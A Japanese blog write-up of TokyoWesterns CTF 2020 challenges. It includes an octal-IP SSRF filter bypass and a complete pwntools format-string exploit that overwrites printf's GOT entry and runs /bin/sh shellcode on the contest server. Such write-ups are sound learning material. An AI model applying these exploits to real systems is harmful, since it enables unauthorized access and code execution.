amaga38のブログ

twitter: @amaga38

TokyoWesterns CTF 6th 2020 Write-up

2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。

mask [misc]

192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192

ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。

# -*- coding: utf-8 -*-
import base64

text = '''192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
'''

mask = text.split()
ans = ''
for m in mask:
    ip, netmask = m.split('/')
    print(ip, netmask)
    ip = ip.split('.')
    nm = netmask.split('.')
    
    # ホスト部を繋いで、4byteの整数値に変換
    t = 0
    for i in range(4):
        tmp = int(ip[i]) & ~(int(nm[i]))
        t += tmp << ((3 - i) * 8)
    print(t, chr(t))
    ans += chr(t)
print(ans)
print(base64.b64decode(ans))
'''
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
b'TWCTF{Are-you-using-a-mask?}'
'''

Flag: TWCTF{Are-you-using-a-mask?}

urlcheck v1 [web] [warmup]

find the flag

http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar

SSRF問題。/check-statusに送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-statusにアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False
    
    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)

正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。

チェックしてもらったURLはhttp://0177.0.0.1/admin-status

Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}

Reversing iS Amazing [reversing] [warmup]

rsa

opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。

f:id:amaga38:20200922015743j:plain

秘密鍵は0xE11~0xE2Aのrep movsq処理で.rodataセクションからコピーされているので、そこから抜き出す。

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./rsa')

start_idx = 0xa91 - 0x960
end_idx = 0xe11 - 0x960
text = elf.section('.text')[start_idx:end_idx]
text = [text[i] for i in range(6, len(text), 7)]
enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text))
print(enc_flag)
print(len(enc_flag))

start_idx = 0x1100 - 0x010a0
seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)]
print(seed)
print(len(seed))

with open('seed.dat', 'wb', buffering=0) as prv_file:
    prv_file.write(seed)

with open('encrypted_flag', 'wb', buffering=0) as prv_file:
    prv_file.write(enc_flag)

あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encryptRSA_public_decryptにしたらうまく復号できた。

  • BIO_new_mem_buf
  • d2i_PrivateKey_bio
  • EVP_PKEY_get1_RSA
  • RSA_private_encrypt
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/err.h>

#include <openssl/rsa.h>
#include <openssl/engine.h>

int main(int argc, void *argv[])
{
  char buf[1024] = {0};
  char buf_eflag[1024] = {0};
  char err_buf[256];
  int fd;
  int rc;

  int seed_len, eflag_len;

  fd = open("seed.dat", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf, 0x260);
  printf("rc: %d\n", rc);
  seed_len = rc;
  close(fd);

  fd = open("encrypted_flag", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf_eflag, 128);
  printf("rc: %d\n", rc);
  eflag_len = rc;
  close(fd);
  
  // RSA
  BIO *bio;
  bio = BIO_new_mem_buf(buf, seed_len);
  if (!bio) {
    puts("Error: bio error.");
    return -1;
  }

  EVP_PKEY *pkey = NULL;
  EVP_PKEY *ptr;
  ptr = d2i_PrivateKey_bio(bio, &pkey);
  if (ptr == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  RSA *rsa;
  rsa = EVP_PKEY_get1_RSA(pkey);
  if (rsa == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  
  FILE *fp;
  fp = fopen("tmp_rsa.dat", "wb");
  RSA_print_fp(fp, rsa, 0);
  fclose(fp);

  char buf_dflag[1024] = {0};
  RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1);
  printf("%s\n", buf_dflag);
  return 0;
}

実行結果

$ gcc -o solve solve.c -lssl -lcrypto
$ ./solve
rc: 608
rc: 128
TWCTF{Rivest_Shamir_Adleman}

flag: TWCTF{Rivest_Shamir_Adleman}

easy-hash [crypto] [warmup]

ソースコード: easy_hash.7z

ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo

初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。

(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'

2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた

$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}

flag: TWCTF{colorfully_decorated_dream}

nothing more to say 2020 [pwn] [warmup]

4連休楽しんでください!

nothing

nothing.c

nc pwn02.chal.ctf.westerns.tokyo 18247

nothing.cのソースコード。printfで表示される通り、Format String Bugがある。

// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}

int main(void) {
    char buf[0x100]; 
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}

セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/shを呼ぶようにした。

ソルバーは、以下の流れで処理。

  • %$41$p をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット
  • bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
  • 次のprintf(">");されたときにstack上のshellcodeが実行されて、/bin/sh起動
  • あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*-
from pwn import *
import time

def send_payload(conn, payload=b'', delim=b'>'):
    print('send:', payload)
    conn.send(payload + b'\r\n')
    data = conn.recvuntil(delim)
    print(data)
    return data[:-1]

srv = 'pwn02.chal.ctf.westerns.tokyo'
#srv = 'localhost'
port = 18247

elf = ELF('./nothing')
print(elf.got)
got_printf = elf.got[b'printf']
print('got.printf', hex(got_printf))

conn = remote(srv, port)
data = conn.recvuntil(b'>')
print(data)

# %6$p -> buf
# $39$p -> __libc_start_main + 0xe7
# $41$p -> argv
# $66$p -> *argv

payload = b'%41$p'
data = send_payload(conn, payload).split()
print(data)
argv0_addr = int(data[0], 16)
buf_addr = argv0_addr - 0x1e8  # stackのargv[0]位置からbufの先頭アドレスを逆算
print('buf_addr', hex(buf_addr))

shellcode = b'\x31\xD2\x52\x48'
shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

print('buf addr', hex(buf_addr))
print(hex(int(buf_addr & 0xffffffff00000000)))
print(hex(int(buf_addr & 0xffffffff)))

buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32
buf_addr_low0 = (buf_addr & 0xffff0000) >> 16
buf_addr_low1 = buf_addr & 0xffff

idx_buf = 6
idx_high = 16
idx_low0 = 17
idx_low1 = 18

# create fsb code
fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high)

write_byte = buf_addr_high
write_byte = (0x10000 + buf_addr_low0) - write_byte
fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0)

write_byte = 0x10000 + buf_addr_low0
write_byte = (0x20000 + buf_addr_low1) - write_byte
fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1)

code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1)
padding = '.' * ((idx_high - idx_buf) * 8 - code_len)
code = fsb_high + fsb_low0 + fsb_low1 + padding
code = shellcode + code.encode('utf-8')

# send shellcode
target_addr = got_printf
print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))
conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))

conn.interactive()
conn.close()

うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。

以上です。